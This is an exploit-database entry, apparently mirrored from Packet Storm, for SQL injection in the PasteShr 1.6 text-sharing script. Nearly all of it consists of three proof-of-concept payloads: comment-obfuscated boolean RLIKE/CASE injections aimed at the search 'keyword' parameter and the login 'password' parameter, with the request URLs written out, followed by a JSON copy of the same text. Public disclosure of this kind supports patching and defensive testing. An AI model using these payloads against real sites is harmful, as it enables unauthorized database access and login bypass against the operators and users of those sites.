Search...

PasteShr 1.6 SQL Injection

2019-05-14T00:00:00

ID PACKETSTORM:152860
Type packetstorm
Reporter Mehmet Emiroglu
Modified 2019-05-14T00:00:00

Description

                                        
                                            `===========================================================================================  
# Exploit Title: PasteShr - SQL İnj.  
# Dork: N/A  
# Date: 14-05-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage:  
https://codecanyon.net/item/pasteshr-text-hosting-sharing-script/23019437  
# Software Link:  
https://www.codelist.cc/scripts/236331-pasteshr-v16-text-hosting-sharing-script.html  
# Version: v1.6  
# Category: Webapps  
# Tested on: Wamp64, Windows  
# CVE: N/A  
# Software Description: Pasteshr is a script which allows you to store any  
text online for easy sharing.  
The idea behind the script is to make it more convenient for people to  
share large amounts of text online.  
===========================================================================================  
# POC - SQLi  
# Parameters : keyword  
# Attack Pattern :  
%27/**/RLIKE/**/(case/**/when/**//**/9494586=9494586/**/then/**/0x454d49524f474c55/**/else/**/0x28/**/end)/**/and/**/'%'='  
# GET Method : http://localhost/pasthr/public/search?keyword=4137548[SQL  
Inject Here]  
===========================================================================================  
###########################################################################################  
===========================================================================================  
# Exploit Title: PasteShr - SQL İnj.  
# Dork: N/A  
# Date: 14-05-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage:  
https://codecanyon.net/item/pasteshr-text-hosting-sharing-script/23019437  
# Software Link:  
https://www.codelist.cc/scripts/236331-pasteshr-v16-text-hosting-sharing-script.html  
# Version: v1.6  
# Category: Webapps  
# Tested on: Wamp64, Windows  
# CVE: N/A  
# Software Description: Pasteshr is a script which allows you to store any  
text online for easy sharing.  
The idea behind the script is to make it more convenient for people to  
share large amounts of text online.  
===========================================================================================  
# POC - SQLi  
# Parameters : password  
# Attack Pattern :  
/**/RLIKE/**/(case/**/when/**//**/6787556=6787556/**/then/**/0x454d49524f474c55/**/else/**/0x28/**/end)  
# POST Method :  
http://localhost/pasthr/public/login?_token=1lkW1Z61RZlmfYB0Ju07cfekR6UvsqaFAfeZfi2c&email=2270391&password=6195098[SQL  
Inject Here]  
===========================================================================================  
###########################################################################################  
===========================================================================================  
# Exploit Title: PasteShr - SQL İnj.  
# Dork: N/A  
# Date: 14-05-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage:  
https://codecanyon.net/item/pasteshr-text-hosting-sharing-script/23019437  
# Software Link:  
https://www.codelist.cc/scripts/236331-pasteshr-v16-text-hosting-sharing-script.html  
# Version: v1.6  
# Category: Webapps  
# Tested on: Wamp64, Windows  
# CVE: N/A  
# Software Description: Pasteshr is a script which allows you to store any  
text online for easy sharing.  
The idea behind the script is to make it more convenient for people to  
share large amounts of text online.  
===========================================================================================  
# POC - SQLi  
# Parameters : keyword  
# Attack Pattern :  
%27/**/RLIKE/**/(case/**/when/**//**/8266715=8266715/**/then/**/0x454d49524f474c55/**/else/**/0x28/**/end)/**/and/**/'%'='  
# POST Method :  
http://localhost/pasthr/server.php/search?keyword=1901418[SQL Inject Here]  
===========================================================================================  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:152860", "type": "packetstorm", "bulletinFamily": "exploit", "title": "PasteShr 1.6 SQL Injection", "description": "", "published": "2019-05-14T00:00:00", "modified": "2019-05-14T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://packetstormsecurity.com/files/152860/PasteShr-1.6-SQL-Injection.html", "reporter": "Mehmet Emiroglu", "references": [], "cvelist": [], "lastseen": "2019-05-15T06:10:13", "viewCount": 36, "enchantments": {"dependencies": {"references": [], "modified": "2019-05-15T06:10:13", "rev": 2}, "score": {"value": 0.5, "vector": "NONE", "modified": "2019-05-15T06:10:13", "rev": 2}, "vulnersScore": 0.5}, "sourceHref": "https://packetstormsecurity.com/files/download/152860/pasteshr16-sql.txt", "sourceData": "`=========================================================================================== \n# Exploit Title: PasteShr - SQL \u0130nj. \n# Dork: N/A \n# Date: 14-05-2019 \n# Exploit Author: Mehmet EMIROGLU \n# Vendor Homepage: \nhttps://codecanyon.net/item/pasteshr-text-hosting-sharing-script/23019437 \n# Software Link: \nhttps://www.codelist.cc/scripts/236331-pasteshr-v16-text-hosting-sharing-script.html \n# Version: v1.6 \n# Category: Webapps \n# Tested on: Wamp64, Windows \n# CVE: N/A \n# Software Description: Pasteshr is a script which allows you to store any \ntext online for easy sharing. \nThe idea behind the script is to make it more convenient for people to \nshare large amounts of text online. \n=========================================================================================== \n# POC - SQLi \n# Parameters : keyword \n# Attack Pattern : \n%27/**/RLIKE/**/(case/**/when/**//**/9494586=9494586/**/then/**/0x454d49524f474c55/**/else/**/0x28/**/end)/**/and/**/'%'=' \n# GET Method : http://localhost/pasthr/public/search?keyword=4137548[SQL \nInject Here] \n=========================================================================================== \n########################################################################################### \n=========================================================================================== \n# Exploit Title: PasteShr - SQL \u0130nj. \n# Dork: N/A \n# Date: 14-05-2019 \n# Exploit Author: Mehmet EMIROGLU \n# Vendor Homepage: \nhttps://codecanyon.net/item/pasteshr-text-hosting-sharing-script/23019437 \n# Software Link: \nhttps://www.codelist.cc/scripts/236331-pasteshr-v16-text-hosting-sharing-script.html \n# Version: v1.6 \n# Category: Webapps \n# Tested on: Wamp64, Windows \n# CVE: N/A \n# Software Description: Pasteshr is a script which allows you to store any \ntext online for easy sharing. \nThe idea behind the script is to make it more convenient for people to \nshare large amounts of text online. \n=========================================================================================== \n# POC - SQLi \n# Parameters : password \n# Attack Pattern : \n/**/RLIKE/**/(case/**/when/**//**/6787556=6787556/**/then/**/0x454d49524f474c55/**/else/**/0x28/**/end) \n# POST Method : \nhttp://localhost/pasthr/public/login?_token=1lkW1Z61RZlmfYB0Ju07cfekR6UvsqaFAfeZfi2c&email=2270391&password=6195098[SQL \nInject Here] \n=========================================================================================== \n########################################################################################### \n=========================================================================================== \n# Exploit Title: PasteShr - SQL \u0130nj. \n# Dork: N/A \n# Date: 14-05-2019 \n# Exploit Author: Mehmet EMIROGLU \n# Vendor Homepage: \nhttps://codecanyon.net/item/pasteshr-text-hosting-sharing-script/23019437 \n# Software Link: \nhttps://www.codelist.cc/scripts/236331-pasteshr-v16-text-hosting-sharing-script.html \n# Version: v1.6 \n# Category: Webapps \n# Tested on: Wamp64, Windows \n# CVE: N/A \n# Software Description: Pasteshr is a script which allows you to store any \ntext online for easy sharing. \nThe idea behind the script is to make it more convenient for people to \nshare large amounts of text online. \n=========================================================================================== \n# POC - SQLi \n# Parameters : keyword \n# Attack Pattern : \n%27/**/RLIKE/**/(case/**/when/**//**/8266715=8266715/**/then/**/0x454d49524f474c55/**/else/**/0x28/**/end)/**/and/**/'%'=' \n# POST Method : \nhttp://localhost/pasthr/server.php/search?keyword=1901418[SQL Inject Here] \n=========================================================================================== \n`\n"}